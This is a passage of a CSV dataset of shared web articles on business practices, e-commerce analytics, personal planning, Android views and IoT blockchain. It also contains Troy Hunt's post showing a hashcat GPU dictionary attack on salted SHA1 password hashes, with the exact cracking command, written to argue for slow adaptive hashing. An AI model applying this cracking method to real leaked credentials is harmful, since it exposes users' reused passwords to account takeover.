achieves the original intent of the practice. For example, in the case of the Indian employees' concerns about career advancement, the company iterated several times to come up with a practices that worked both for the Indian employees and the company as a whole. Receptivity and willingness to adapt at both sites is essential to the success of this process. Leaders play a vital role in inventing workarounds and, what Catherine Cramton and I call, ""standing in the gap"" i.e. personally absorbing or filtering tensions through this process. Common practices make collaborating globally far easier. And they can be a source of competitive advantage. But our research shows that wise leaders focus on the intent of the practice, not the specifics, and encourage adaptation and experimentation to ensure that the practice achieves the desired benefits. Companies that get this right are likely to find that their people are more effective and happier at work. And ultimately, giving employees the space to experiment in this way allows them to come up with new innovations that can be shared elsewhere.",en
1467163080,CONTENT SHARED,1181375551449952059,8968131284214320024,7326684951184565497,,,,HTML,http://www.mckinsey.com/industries/high-tech/our-insights/using-analytics-to-turbocharge-chinas-ecommerce-performance,Using analytics to turbocharge China's e-commerce performance,"Facing market saturation and more selective consumers, online retailers will need to make better use of data analytics to gain ground. China's online retail market is the world's largest, and e-commerce now accounts for more than 13 percent of the country's total retail sales of consumer goods. In fact, the penetration of e-commerce has begun reaching saturation levels: in top-tier cities, roughly 90 percent of Internet users and 70 to 80 percent of consumers as a whole are shopping online (exhibit). As Chinese consumers enjoy the options and transparency available online, they also are becoming increasingly choosy-often visiting four to five sites before reaching a purchase decision, according to our research. The implication is that grabbing e-commerce share will depend increasingly on coaxing customers to shop more frequently, to make larger purchases, and to buy from a broader array of online-shopping categories. E-commerce players have a fighting chance to do all this because they are sitting on an enormous volume of information. The growth of data on digital shoppers, product SKUs, price changes, promotional performance, and purchase habits has been exponential. This tidal wave of data is a strategic asset for e-commerce players, and leaders have begun employing advanced analytics to up their game in at least three ways. First, leading players are building models aimed at boosting retention rates and spending per customer. For example, e-commerce businesses can be far more effective in identifying ""value leakage"" points, such as losing too many customers after their first purchase or experiencing a deterioration in shopping frequency by customers with unhappy experiences. Insight comes from using data to scrutinize the way value migrates across the customer life cycle, which includes the conversion of new customers, first-time repeat-purchase behavior, and purchases that involve trading up or category expansion. In addition, the use of data to segment and identify customer cohorts at different life stages (such as young professionals, new mothers, or new-house decorators) helps leading e-commerce players target their offerings to stimulate consumption. Second, leading players are starting to adopt analytics-backed pricing and promotional approaches. Some e-tailers are even using machine learning to get a product lines and on the effectiveness of promotional activities. A 1 percent price change on a key value item, such as a popular smartphone model, might greatly affect sales volumes. On the other hand, Chinese consumers (like many others) often are less sensitive to price differences for long-tail or unique items. Third, advanced-analytics systems are facilitating quick-cycle test-and-learn approaches. In some cutting-edge applications we have seen, e-commerce players have set up weekly test cycles to adjust prices (both upward and downward) or to launch targeted promotions on a select set of SKUs. Early results suggest a potential for 10 percent profit increases. A/B-testing validation and rapid-response cycles bring the ""analytics back room"" much closer to business teams striving to keep up with China's increasingly competitive e-commerce marketplace. About the author(s) Kevin Wei Wang is a senior partner in McKinsey's Hong Kong office.",en
1467176118,CONTENT SHARED,-1672165618620086344,3609194402293569455,5984191327906818644,,,,HTML,https://endeavor.org.br/planejamento-estrategico-pessoal/,Planejamento Estratégico Pessoal | Endeavor Brasil,"Você já pensou em ter um PEP? Isso mesmo, um Planejamento Estratégico Pessoal ? Uma espécie de plano de vida que parta de uma autoanálise sincera, que reconheça sua essência e esteja alinhada com a sua missão pessoal? Num primeiro momento, a ideia pode parecer estranha, mas acredito que a lógica usada pelas empresas para avaliarem seus ambientes e forças/fraquezas, e assim se estruturarem para o futuro, deva ser usada pelas pessoas físicas, ou seja, nós! Como crença, as empresas nada mais são do que um conjunto de CPFs, fazendo parte de um CNPJ. E esses CPFs precisam, cada vez mais, serem protagonistas de suas histórias e assim gerarem valor para suas vidas e para as empresas que representam, trabalham, gerenciam ou possuem. A lógica do planejamento estratégico , no ambiente corporativo, vem passando por muitas evoluções, tanto de escopo e profundidade, como do tempo de sua previsão, dado o cenário extremamente volátil e complexo que vivemos atualmente, de inovações constantes e rápidas. Mas nem por isso o planejamento deve ser abandonado. A única coisa que muda é a lógica na sua construção e a necessidade de revisões mais constantes e os ajustes de rumo também. Ou seja, Planejar, Realizar, Controlar e Ajustar, ou, em outras palavras, (Plan - Do - Check - Adjust). Dessa forma, recomendo uma visão estrutural dessa ferramenta PEP , criada por mim, para ajudar pessoas a realizarem seu potencial de vida e sonhos, transformando-os em ações e metas, com indicadores e com alto poder de realização e felicidade. Leia também: Plano de metas: você mede esforço ou resultado A visão estrutural do processo de planejamento passa por estas etapas: A ideia de ter uma ""moldura"" (frame) facilita a construção do planejamento, que, para cada indivíduo, será diferente e pode ser fundamental para gerar mais clareza sobre a sua visão de vida, valores que conduzem os seus comportamentos, pessoas de referência para networking, além de uma análise de Pontos Fortes e Fracos, Oportunidades e Ameaças , ou seja, uma análise SWOT e, obviamente, ao final, a concretização de um Plano de Ações. A estrutura do PEP é ilustrada desta forma: Aceitamos e agimos com base nesse conhecimento; Recusamos e evitamos o ""confronto"" com determinada característica. Uma das principais dificuldades dos empreendedores é realizar uma autoanálise bem sincera de si próprio e assim iniciar a jornada do PEP - Planejamento Estratégico Pessoal. Todos nós somos dotados de pontos fortes e fracos e, ao decorrer de nossa jornada, na medida que vamos nos defrontando com as dificuldades e alegrias, esses mesmos pontos são acionados de duas maneiras: Obviamente o ponto forte, quando conhecido e assimilado, sempre trará vantagens competitivas para a carreira de qualquer pessoa, porém os pontos fracos são mais complexos, de maneira geral, de serem aceitos ou identificados. Um dos caminhos recomendados é desenvolver fortemente o seu autoconhecimento , investir tempo e esforços no sentido de buscar essa essência, seja por meio de leituras, cursos, terapia, conversa franca com as pessoas com quem convive ou conviveu, nos mais diveros ambientes (pessoal, profissional, familiar) ou qualquer outra forma que faça sentido ao empreendedor e que lhe traga benefícios práticos e reais. A Análise SWOT pode ser visualizada na seguinte Estrutura e deve ser aplicada para a sua autoanálise: Pessoal: família, educação, viagens, religião, etc Profissional: carreira, empreendedorismo, etc Financeiro: independência financeira, seguro, patrimônio, reservas, etc. Na elaboração do seu plano de ações, é importante entender a estrutura focada em conquistas de âmbito: Esse tripé Pessoal + Profissional + Financeiro tem sido o principal fundamento da minha jornada de realização e cumprimento de minha missão pessoal e também profissional, na busca pelo equilíbrio constante. Sabemos que isso não é uma tarefa fácil, mas sim algo que deve ser visto como uma jornada de acertos e erros e melhoria contínua. Definitivamente, sempre acreditei na lógica do planejamento e na busca do sentido da realização de meus sonhos e metas, e espero poder contribuir com o seu start-up do PEP - Planejamento Estratégico Pessoal. Muito sucesso, realizações e felicidades!",pt
1467200836,CONTENT SHARED,-1199490911632553070,-2979881261169775358,-5582909354819572581,,,,HTML,https://www.troyhunt.com/our-password-hashing-has-no-clothes/,Our password hashing has no clothes,"In the beginning, there was password hashing and all was good. The one-directional nature of the hash meant that once passed through a hashing algorithm the stored password could only be validated by hashing another password (usually provided at logon) and comparing them. Everyone was happy. Then along came those pesky rainbow tables. Suddenly, huge collections of passwords could be hashed and stored in these colourful little tables then compared to existing hashed passwords (often breached from other people's databases) at an amazing rate of knots thus disclosing the original plain text version. Bugger. So we started seasoning our passwords with salt. Adding random bytes to the password before it was hashed introduced unpredictability which was the kryptonite to the rainbow table's use of pre-computed hashes. Suddenly, those nice tables of hashes for passwords of common structure became useless because the salted hash was entirely uncommon. But now there's an all new threat which has turned the tables on the salted hash - Moore's law . Of course Moore's law in itself is not new, it's just that it has been effected on computer processing power to the point that what was once a very computationally high bar - the manual computing of vast numbers of hashes - is now rapidly becoming a very low bar. Worst of all, it's leaving our hashed passwords vulnerable to the point that many existing accepted practices make salting and hashing next to useless. A quick hashing recap Let's take a quick step back before talking about what's wrong with the hashing algorithms of today. The problem that cryptographic storage of passwords is trying to address is to limit the potential damage of unintended disclosure of passwords in storage. Now of course all the good upstream security practices such as mitigating against SQL injection vulnerabilities and protecting your backups still apply, this is about what happens once things go really, really wrong. We were reminded of this just the other day when WHMCS was breached and thousands of account details were leaked . In this case it appears that some basic social engineering was used to circumvent the host's security thus allowing access to the database of user accounts. It was a similar story with LinkedIn just a little bit later when 6 million passwords were exposed through (as yet) unknown or undisclosed means. Disclosure of passwords in storage happens. Lots. So this is really the whole point of hashing - once you get owned to the extent that WHMCS and LinkedIn were, secure cryptographic storage of the passwords is the only thing saving your customer's credentials. And remember, a large percentage of these credentials will be reused across other services so secure storage is about protecting a lot more than just the site that was breached. The trick is to ensure the effort to ""break"" the hashing exceeds the value that the perpetrators will gain by doing so. None of this is about being ""unhackable""; it's about making the difficulty of doing so not worth the effort . In this case when I say ""break"" or ""crack"", I'm talking about re-computing hashes rather than finding weaknesses in the algorithms themselves. I'm literally talking about taking a plain text string, hashing it then comparing it to a password already in storage. If they match, then I've just discovered the plain text password. A quick password practices recap First things first - we suck at choosing passwords. Big time. When I analysed one of the Sony breaches last year, I found a number of pretty shoddy practices: 93% were between 6 and 10 characters long 45% were comprised entirely of lowercase characters 36% were found in a common password dictionary 67% were reused by the same person on a totally unrelated service (Gawker) Only 1% of them contained a non-alphanumeric character What this means is that in the scale of potential passwords - that is using all the characters available and making them as long and as unique as desired - passwords conform to very, very predictable patterns. In fact you only need to take a highly constrained range (such as 6 to 8 character lowercase) and you're going to cover a significant number of passwords. Or alternatively, you take a list of common passwords in a password ""dictionary"" and you're going to have a similar result. More on that shortly. The ASP.NET membership provider I've been a proponent of the ASP.NET membership provider for a number of reasons: It's extremely easy to build registration, logon and account management facilities on top of. The Visual Studio templates for ASP.NET websites have a lot of this functionality already built in. The underlying database and data access is auto-generated saving a lot of manual ""boilerplate"" coding. The password storage mechanism defaults to a ""secure"" salted SHA1 hash. The first three points are still very relevant, the last one, not so much. Let's take a look under the covers. Firstly, let's look at the salt. This is a 16 byte cryptographically random string generated by RNGCryptoServiceProvider then Base64 encoded: The salt is then passed off to the EncodePassword method along with the password and the format we'd like to store the password in (we're just assuming SHA1 for the moment). This method is a bit lengthy but I'm going to include it all because I know some people will like to pick it apart: Notice that before the password is hashed, the salt is Base64 de coded (line 8 above) so when you see the salt in the database you need to remember that it's not the string that was used in the actual salting process. For example, when we see the salt ""AB1ZYgDjTR4alp4jYq4XoA=="", that's the encoded value of the source bytes. The hashed password itself is also Base64 encoded before being stored in the data layer. Cracking at the speed of GPUs This is an AMD Radeon HD 7970 : It's a high-end consumer graphics card that retails for about $500 in Australia. I bought one the other day in part to drive more screens than my old one permitted and in part to understand more about what goes into cracking hashes. This is where hashcat comes in. You see, using hashcat to leverage the power of the GPU in the 7970 you can generate up to 4.7393 billion hashes per second . That's right, billion as in b for ""bloody fast"". Different hashing algorithms execute at different speeds and that's a key concept for this article. The 4.7B mark is for MD5 which is considered antiquated. The SHA variants are generally preferred (as is the case in the membership provider) and the speed for SHA1 drops down to a ""mere"" 2.2B hashes per second. What it means is simply this: if you have the salt and you have the password hash, a fast GPU is going to let you generate new hashes using the salt and compare them to the existing hashed password at an extremely fast pace. Repeat this process enough times and eventually you'll match the newly generated hash against the stored one thus ""cracking"" the password. Let's have a go at that. Creating a test environment Let's go back to that Sony password analysis I mentioned earlier. There were almost 40,000 plain text passwords in that breach (depending on how you de-dupe it) and what I'm going to do is use those to regenerate ""secure"" accounts using the ASP.NET membership provider. I'm doing this because I want to use realistic passwords in this demo so that we get a real idea of how this whole thing works. I jumped into Visual Studio 2010 and created a brand new MVC 3 app running on .NET 4 then scripted the account creation based on the Sony passwords. How does this work? Simply by enumerating through the account creation logic: Once this runs, here's what we end up with in the database: If you're using the membership provider for any of your projects, you'll have a structure that looks just like this in your database. The table name might appear differently as the newer templates in Visual Studio 2012 implement the web providers model for membership but it's exactly the same database structure. It's this storage mechanism that we're now going to break. The assumption we're going to make is that this database has been breached. Of course we've adhered to all the good app development guidance in sources like the OWASP Top 10 but ultimately evil has overcome good and the hashes are out there in the wild. In order to begin cracking those hashes we need to dump them into a format which hashcat understands. The way hashcat deals with hashes is that it defines a certain hash type and requires a hash list of a corresponding structure. In this case, we're going to use the EPiServer pattern . What's EPiServer? EPiServer is a ""content management, community and social media, commerce and communication"" product but what's important to us is that it sits on top of the ASP.NET membership provider (which probably would have been a more suitable title for hashcat to use). The format we need to use involves four ""columns"" delimited by a star: The hash signature - ""$episerver$"" The version - it's all ""0"" which implies SHA1 The base64 encoded salt The base64 encoded hash This is easy to dump out of SQL Server so that we end up with a text file called ""MembershipAccounts.hash"" which looks like this: So that's the hashes ready to go, now we just need to work out how we're going to crack them. Dictionary based password cracking When we talk about ""cracking"" hashes, we're really just talking about regenerating them en masse and there are several ways we can do this. The simple yet laborious way is to just work through a character set and range, for example lowercase letters only between 6 and 9 characters. This would actually cover 82% of the Sony passwords but would result in 104,459,430,739,968 possibilities (that'd be 104 trillion ) so even at GPU speeds you're looking at hours per password as each one needs to be attacked uniquely due to the salt. It would mean doing this: SHA1(salt + ""aaaaaa"") SHA1(salt + ""aaaaab"") SHA1(salt + ""aaaaac"") ... All the way up to 9 chars and all the way through the lowercase alphabet. But this isn't how people create passwords - it's way too random. Of course random is how people should create passwords - but they don't. The reality is that most people conform to far more predictable password patterns; in fact they're so predictable that we have password ""dictionaries"". This is not your Oxford or your Webster, rather a password dictionary is a collection of commonly used passwords often collated from previous breaches. Of course this is not exhaustive - but it's enough . ""Enough"" is a very important concept when we talk about cracking passwords; it's not necessarily about exhaustively breaking every single one of them and resolving to plain text, it's about having sufficient success to justify the objective . Of course the objective will differ between evildoers, but the question for us as developers and app owners is ""how much is enough?"" I mean how much is enough to leave us in a very sticky position (even more so than the fact our data was breached in the first place)? A quarter of them? Half of them? Maybe just one of them? Getting back to dictionaries, the objective when cracking passwords is to use a dictionary that's extensive enough to yield a good harvest but not so extensive that it's too time consuming. Remember, when we're talking about salted hashes then every single record needs to get assessed against the dictionary so when we have large volumes of passwords this can become a very time consuming exercise. The dictionary I chose for this exercise is one from InsidePro appropriately called hashkiller (actually, they call it hashkiller.com but there doesn't appear to be anything on that URL). This is a 241MB file containing 23,685,601 ""words"" in plain text, just one per line. Why the quotes around ""words""? Because it contains things like ""!!! $ @@@"" (spaces in there are as found), ""!!!!!!888888"" and ""!!!!!!!#@#####"". It also contains 5,144 variations of the word ""boob"" (yes - I checked) so as you can see, it's not short on variety. Cracking The cracking process is very simple; you have two inputs which are the list of salts with hashes and then there's the password dictionary. These are passed into the hashcat command with a parameter to indicate the type of hashes we're dealing with which is the EPiServer format (""-m 141""). Here's how the command looks: oclHashcat-plus64.exe -m 141 MembershipAccounts.hash hashkiller.com.dic I want to try and give a sense of how fast this process executes so I compiled the beginning and end into a short narrated video (it's summarised further on if you want to skip through): Impressive? Quite, but also a bit scary. Let's take a closer look at the summary after everything has run: What we once considered ""secure"" - that is salted SHA hashes - has just been obliterated. In fact in the time it takes to watch a couple of episodes of the Family Guy, we cracked 24,710 hashes or 63% of the total sample size. The remaining 37% just simply weren't in the password dictionary but a larger dictionary and perhaps sitting through the Lord of The Rings trilogy and the rate of success would be a lot higher. The point is that this is a trivial amount of time to spend in breaking a significant proportion of the hashes. What's more, there are passwords in there which many would consider to be ""strong"". How about ""volleyball6"" - 11 chars of two different types. Further up the list was ""zaq1@WSX"" - 8 chars of upper, lower numeric and symbol, surely enough to pass most security policies yet even when stored as a ""secure"" salted hash, utterly useless. All of these cracked passwords have now been saved to a file called ""hashcat.pot"". Here's what's inside: This is pretty much just the list of source hashes with the plain text password appended to the end. In most instances where accounts have been breached, the exposed hashes and salts will sit alongside the user name and email addresses so armed with the info above it's simple to join everything back up together. One more thing before we move on; did you notice the speed of the cracking was ""only"" 258.7M per second? What happened to the theoretical throughput of a couple of billion SHA1 hashes per second? The problem is that the higher throughput can only be achieved with ""mutations"" of the password dictionary values or by working through different password possibilities directly within the GPU. In other words, if you let the GPU take a dictionary value then transform it into a number of different possibilities it can work a lot faster. The GPU can't be fed passwords fast enough to achieve the same level of throughput so effectively having a list of passwords is bottleneck. You can actually observe the GPU only working at about half its potential; here's what the MSI Afterburner Hardware Monitor had to say about the 7970 just working directly through the dictionary on the left versus applying mutations to the dictionary on the right: See the GPU usage % in the second graphs? When the 7970 starts approaching that maximum utilisation and the fan ramps up it all starts to sound a bit jet-engine-at-max-thrust. But ultimately, whilst the rate of direct dictionary hashing may be lower, the accuracy is significantly higher and the time to produce meaningful results is more favourable. How do we fix this? So that's the bad news - your salted SHA hashes are near useless against the bulk of passwords users typically create . The ASP.NET membership provider now provides little more than a thin veneer of password security in storage. And don't think you can fix this by going to SHA256 as implemented in System.Web.Providers , it's barely any better than SHA1 in terms of the rate at which you create hashes. We need a better mousetrap. Here's the problem: The membership provider hashes were cracked because it's just too damn fast to regenerate them. This might sound sacrilegious in a world where we developers go to great lengths to eke out every last skerrick of performance at every point possible, but fast hashes are killing our security. But let's get a bit of context here - do we really need to be able to generate 4.7 billion password hashes per second? That's like taking the entire Facebook population of over 900 million and sequentially hashing every single password 5 times every second . And that's on consumer hardware. No, we don't need to get anywhere even close to that. The problem is that algorithms like MD5 and SHA were designed to demonstrate data integrity at high computational speed rather than to provide a password storage mechanism; cryptographic hash functions are not password hash functions . Even if they were ""safe"" for password storage when designed, MD5 goes back 20 years now so by Moore's Law we now have processors that are now eight thousand times faster . There are various approaches for breathing life back into old algorithms; key stretching , for example, where an algorithm which is too fast is ""slowed"" by repeating it over and over again, perhaps thousands of times. But the guidance around the likes of MD5 and SHA is clear and OWASP summarises it quite succinctly : General hashing algorithms (eg, MD5, SHA-1/256/512) are not recommended for password storage. Instead an algorithm specifically designed for the purpose should be used. What we need is a hashing algorithm which was designed from the ground up with speed in mind, not fast speed, but slow speed. Edit: I was a little vague here and several people have called me on it. The concept of increasing the effort required to execute the hash function is one that is frequently implemented by key stretching and indeed this is modus operandi of PBKDF2. In fact PBKDF2 may then be applied to an algorithm such as SHA so strictly speaking, SHA is still being used, just not as we know it in its single iteration form. It then becomes a question of how many iterations are enough which I talk about a little further down. There are numerous hashing algorithms designed to do this: bcrypt, PBKDF2 just to name a couple. The problem is that support for these differs between frameworks and their level of deep integration with features such as the ASP.NET membership provider is often either non-existent or a second class citizen to their faster cousins. But the thing about algorithms like these is that they're adaptive : Over time it can be made slower and slower so it remains resistant to specific brute-force search attacks against the hash and the salt. Clearly the ability to increase the workload is important if we don't want to be caught by Moore's law again in the near future. All we need is a way to integrate this into our existing work. ""Fixing"" ASP.NET password hashing Fortunately there are a number of solutions available to implement stronger hashing algorithms in ASP.NET. For a start, there's Zetetic's implementation of bcrypt and PBKDF2 for the membership provider . The neat thing about this approach is that you can drop it directly into your existing app from NuGet : Zetetic makes use of bcrypt.net so you could always just go and grab that one directly if you didn't want to implement the entire membership provider. Unfortunately there is one major drawback with Zetetic's implementation - it requires GAC installation and machine.config modification . This is unfortunate as it rules out many hosted environments such as I use for ASafaWeb with AppHarbor . I can deploy almost anything I like in the app but there's no way I can get anywhere near the GAC or machine.config in a shared environment. Then there are implementations like CryptSharp from Chris McKee which make it extremely simple to implement bcrypt and PBKDF2 along with others such as SCrypt and Blowfish. There's no direct membership provider integration, but then there's also no GAC or machine.config dependency. Some debate does go on about which of the slower algorithms are the right approach. For example, which ones are endorsed by NIST - and does it even matter? There's a whole world of pros and cons, ups and downs but the one thing that's universally agreed on is that MD5 and SHA are now simply not secure enough for password storage. The impact of slow hashes on speed (and CPU overhead) Slowing down hashing might be just fine for security, but what other adverse impact might it have? Well for one, the logon process is going to be slower. But let's be pragmatic about this - if an exercise which should happen no more than once per session at the other end of all that network latency and browser rendering time adds, say, 200ms to the process, does it matter? Most will argue ""no"" - it's an indiscernible amount of time of negligible increase to the existing user wait time and it's added to an infrequent process. But what about the overhead on the server itself? I mean are slower hashing algorithms sufficiently computationally expensive to have an adverse resource impact to the point where it's going to cost money for more resources? Some say ""yes"" , it's a concern and that with enough simultaneous hashing going on it's going to have seriously negative impact. In this example, 100 simultaneous threads consumed 95% of the CPU resources for 38 seconds so clearly this is a problem. I would love to have this problem! Imagine the scale you need to reach to have 100 discrete individuals simultaneously attempting to hash a password via logon, registration or password change on a frequent basis - what a glorious problem to have! To reach a scale where slow hashing has that sort of impact - or even only 10% of those numbers - you're talking about a seriously large app. Consider a single logon per session, use of the ""remember me"" function (rightly or wrongly), frequency of use then juxtapose that with a process that even when deliberately slow is probably somewhere in the 100ms range. But of course with an adaptive hash algorithm like bcrypt it doesn't have to be 100ms, it can be half that, or double that or whatever you decide is the right balance of speed versus security risk on the hardware you're running today . Let's be clear that this is definitely something to consider, it's just not something that many of us need to worry about. Part of the problem is that when we apply hashing for the purposes of password storage we're doing so on the CPU - which is slow - but then when someone attempts to crack it they're doing so on the G PU - which is fast. Creating higher workload might apply equally across both processing units but it hurts the one intended for legitimate hashing far more than it hurts the one frequently used for nefarious purposes. It just ain't fair! One school of thought is to leverage GPU hashing on the server to effectively level the playing field. If the CPU is genuinely 150 times slower to hash passwords then wouldn't it make sense to move this process to the GPU then just ratchet up the workload to an acceptable limit? This could well be the perfect solution although of course you need to have the hardware available (and you're not going to find fast GPUs already in most servers) plus the code responsible for the hashing needs to target the GPU which certainly isn't the default position for most server-based hashing implementations. But it did have me a bit intrigued; what really is the impact of employing slow hashing in a live environment? And is there much difference in speed between the SHA variants and bcrypt, or even MD5 for that matter? So I built a demo to help give some context and put it up here: This is not a high-volume site, in fact it's very low volume but it does run in AppHarbor's public cloud and therefore shares resources with all sorts of other apps. As such, the speed is inconsistent plus it's dependent on the Stopwatch class which can be erratic (incidentally, the results were far more stable in my local environment and also significantly faster). There are a few lessons to take away from this: Relatively speaking, the speed of SHA1 and SHA256 is close to each either and even close to MD5 - about a 15% variation at most. SHA512 may appear quite a bit slower but is still way too fast for hashing passwords (hashcat claims 73 million per second in the 7970 GPU). There is a massive difference between the MD5 and SHA variants as compared to bcrypt with even a small number of rounds (bcrypt.net defaults to 10 which 32 times slower than with 5 rounds). When you can tune the processing overhead of the hashing algorithm there's really not much of an argument to make in terms of it adding unacceptable overhead to the environment. Too slow? Speed it up. It's not like you're going to get all the way down to SHA based speeds anyway; there should never be a case for sub-millisecond password hashing as demonstrated in the example above. Forget the generic password strength guidance One thing I've always found a bit amusing - particularly in light of the cracking exercise earlier on - is guidance along the lines of ""It will take X number of days / weeks / months to crack a particular password. Let me demonstrate with the password ""00455455mb17"" using the Passfault website : Well that oughta do it! The problem is that we just cracked it in 45 minutes. Actually, more accurately, we cracked this one and 24,709 others as well but let's not split hairs. Password selection (and more specifically, cracking) is not subject to the mere rules of entropy, no, uniqueness is absolutely essential to protecting them and conversely predictability is a key part of cracking them. Finally, some practical advice So what can we conclude from this exercise? Let me summarise: Salted SHA is near useless: Sorry to be the bearer of bad new (actually, one of many bearers), but the ease, speed and price with which salted SHA can be cracked for the vast majority of passwords is just too simple. Use an adaptive hashing algorithm: You have numerous options, some of which have been discussed here. Choose one - with appropriate care. Strike a balance between speed and performance: Slower algorithms increase computing overhead so tailor the work factor to suit both the capability of the infrastructure and the volume of the audience. But after all this talk of GPUs and algorithms and hash speeds there's one really, really simple solution that will take you 60 seconds to implement and will make your passwords near uncrackable . It's this: That's it - increase the length and complexity requirements to the point that it's highly likely any chosen passwords will be unique, not to mention outside the range of most default cracking patterns. Of course unfortunately, nobody in their right mind is going to demand this degree of complexity because most users don't have a means of tracking unmemorable passwords. It's a shame though because that's pretty much all our cracking problems solved right there. But let me wrap this up with the following quote from the preface of Bruce Schneier's Applied Cryptography : There are two kinds of cryptography in this world: cryptography that will stop your kid sister from reading your files, and cryptography that will stop major governments from reading your files. This does indeed appear to be the case and unfortunately SHA is now firmly in the former category. Resources Are you sure SHA-1+salt is enough for passwords? Speed Hashing Do any security experts recommend bcrypt for password storage? How To Safely Store A Password Storing Passwords Securely Towards more secure password hashing in ASP.NET Security .NET Passwords",en
1467202584,CONTENT SHARED,6620060201676471218,3302556033962996625,1804462043619727596,,,,HTML,http://code.tutsplus.com/tutorials/creating-compound-views-on-android--cms-22889,Creating Compound Views on Android,"When building complex applications, you'll often want to reuse the same group of views in various places of the application. One way to solve this problem is by creating a view that encapsulates the logic and layout of a group of views so you can reuse them without duplicating code in various places of the project. In this tutorial, you'll learn how to use compound views to create custom views that are easily reusable. 1. Introduction On Android, a view composed of a group of views is called a compound view or a compound component. In this tutorial, you'll build a control to select a value from a list that scrolls from side to side. We'll name the compound a side spinner since the default view of the Android SDK to pick a value from a list is called a spinner. The following screenshot illustrates what we'll be creating in this tutorial. 2. Project Setup To get started, you must create a new Android project with Android 4.0 as the minimum required SDK level. This project should only contain a blank activity called MainActivity . The Activity does nothing more than initializing the layout as you can see in the following code snippet. The layout for MainActivity is located in the /res/layout/activity_main.xml file and it should only only contain an empty RelativeLayout in which the compound view will be displayed later. 3. Create a Compound View To create a compound view, you must create a new class that manages the views in the compound view. For the side spinner, you need two Button views for the arrows and a TextView view to display the selected value. To get started, create the /res/layout/sidespinner_view.xml layout file that we'll use for the side spinner class, making sure to wrap the three views in a <merge> tag. Next, we need to create the SideSpinner class that inflates this layout and sets the arrows as the background images for the buttons. At this point, the compound view doesn't do anything since there is nothing to show yet. You'll notice that the compound view extends the LinearLayout view group. This means that any layout using the compound view has access to the attributes of the linear layout. As a result, the layout for the compound view is a bit different than usual, the root tag is a <merge> tag instead of the tag for a view group like <LinearLayout> or <RelativeLayout> . When you add the compound view to the layout of MainActivity , the tag for the compound view will act as a <LinearLayout> tag. A compound view class can derive from any class deriving from ViewGroup , but in this case the linear layout is the most appropriate since the views are laid out horizontally. 4. Add the Compound View to a Layout At this point, the project compiles but nothing is visible since the compound view is not in the layout of MainActivity . The side spinner view must be added to the layout of the activity like any other view. The name of the tag is the full name of the SideSpinner class, including the namespace. To add the side spinner to MainActivity , add the following to the relative layout in the /res/layout/activity_main.xml file. The attributes available in the <SideSpinner> tag are attributes of the linear layout since the SideSpinner class we created extends the LinearLayout class. If you launch the project, the side spinner should be visible, but it doesn't contain any values yet. 5. Add Methods to the Compound View There are still a few things missing if we want to actually use the side spinner. We should be able to add new values to the spinner, select a value, and get the selected value. The easiest way to add new behaviors to a compound view is to add new public methods to the SideSpinner class. These methods can be used by any Activity that has a reference to the view. The onFinishInflate method of the compound view is called when all the views in the layout are inflated and ready to use. This is the place to add your code if you need to modify views in the compound view. With the methods you just added to the SideSpinner class, behavior for the buttons selecting the previous and next value can now be added. Replace the existing code in the onFinishInflate method with the following: With the newly created setValues and setSelectedIndex methods, we can now initialize the side spinner from our code. As with any other view, you need to find the side spinner view in the layout with the findViewById method. We can then call any public method on the view from the object returned, including the ones we just created. The following code snippet shows how to update the onCreate method of the MainActivity class to show a list of values in the side spinner, using the setValues method. We can also select the second value in the list by default by invoking the setSelectedIndex method. If you launch the application the side spinner should work as expected. The list of values is shown and the value Orange is selected by default. 6. Add Layout Attributes to the Compound View The views available in the Android SDK can be modified through code, but some attributes can also be set directly in the corresponding layout. Let's add an attribute to the side spinner that sets the values the side spinner needs to display. To create a custom attribute for the compound view, we first need to define the attribute in the /res/values/attr.xml file. Every attribute of the compound view should be grouped in a styleable with a <declare-styleable> tag. For the side spinner, the name of the class is used as shown below. In the <attr> tag, the name attribute contains the identifier used to refer to the new attribute in the layout and the format attribute contains the type of the new attribute. For the list of values, the reference type is used since the attribute will refer to a list of strings defined as a resource. The value types that are normally used in layouts can be used for your custom attributes, including boolean , color , dimension , enum , integer , float and string . Here is how to define the resource for a list of strings that the values attribute of the side spinner will refer to. It must be added to the /res/values/strings.xml file as shown below. To test the new values attribute, create a side spinner view in the MainActivity layout below the existing side spinner. The attribute must be prefixed with a namespace added to the RelativeLayout , such as xmlns:sidespinner="" "" . This is what the final layout in /res/layout/activity_main.xml should look like. Finally, the SideSpinner class need to be modified to read the values attribute. The value of every attribute of the view is available in the AttributeSet object that is passed in as a parameter of the view's constructor. To get the value of your custom values attribute, we first call the obtainStyledAttributes method of the AttributeSet object with the name of the styleable containing the attribute. This returns the list of attributes for that styleable as a TypedArray object. We then call the getter method of the TypedArray object that has the right type for the attribute you want, passing the identifier of the attribute as a parameter. The following code block shows how to modify the constructor of the side spinner to get the list of values and set them in the side spinner. If you launch the application, you should see two side spinners that work independently from one another. 7. Save and Restore State The last step we need to complete is saving and restoring the state of the compound view. When an activity is destroyed and recreated, for example, when the device is rotated, the values of native views with a unique identifier are automatically saved and restored. This currently isn't true for the side spinner. The state of the views isn't saved. The identifiers of the views in the SideSpinner class are not unique since it can be reused many times. This means that we are responsible for saving and restoring the values of the views in the compound view. We do this by implementing the onSaveInstanceState , onRestoreInstanceState , and dispatchSaveInstanceState methods. The following code block shows how to do this for the side spinner. Conclusion The side spinner is now complete. Both side spinners work as expected and their values are restored if the activity is destroyed and recreated. You can now apply what you've learned to reuse any group of views in an Android application by using compound views.",en
1467205950,CONTENT SHARED,3075564241645350154,-1032019229384696495,6023728345695403953,,,,HTML,https://techcrunch.com/2016/06/28/decentralizing-iot-networks-through-blockchain/,Decentralizing IoT networks through blockchain,"Imagine a washer that autonomously contacts suppliers and places orders when it's low on detergent, performs self-service and maintenance, downloads new washing programs from outside sources, schedules its cycles to take advantage of electricity prices and negotiates with peer devices to optimize its environment; a connected car, smart enough to find and choose the best deal for parts and services; a manufacturing plant where the machinery knows when to order repairs for some of its parts without the need of human intervention. All these scenarios - and many more - will be realized thanks to the Internet of Things (IoT). Already, many of the industries that historically didn't fit well with computers have been transformed by the billions of IoT devices connected to the internet; other industries will follow suit as billions more enter the fray . The possibilities are virtually countless , especially when the power of IoT is combined with that of other technologies, such as machine learning. But some major hurdles will surface as billions of smart devices will want to interact among themselves and with their owners. While these challenges cannot be met with the current models that are supporting IoT communications, tech firms and researchers are hoping to deal with them through blockchain , the technology that constitutes the backbone of the famous bitcoin. The problem with the centralized model Current IoT ecosystems rely on centralized, brokered communication models, otherwise known as the server/client paradigm. All devices are identified, authenticated and connected through cloud servers that sport huge processing and storage capacities. Connection between devices will have to exclusively go through the internet, even if they happen to be 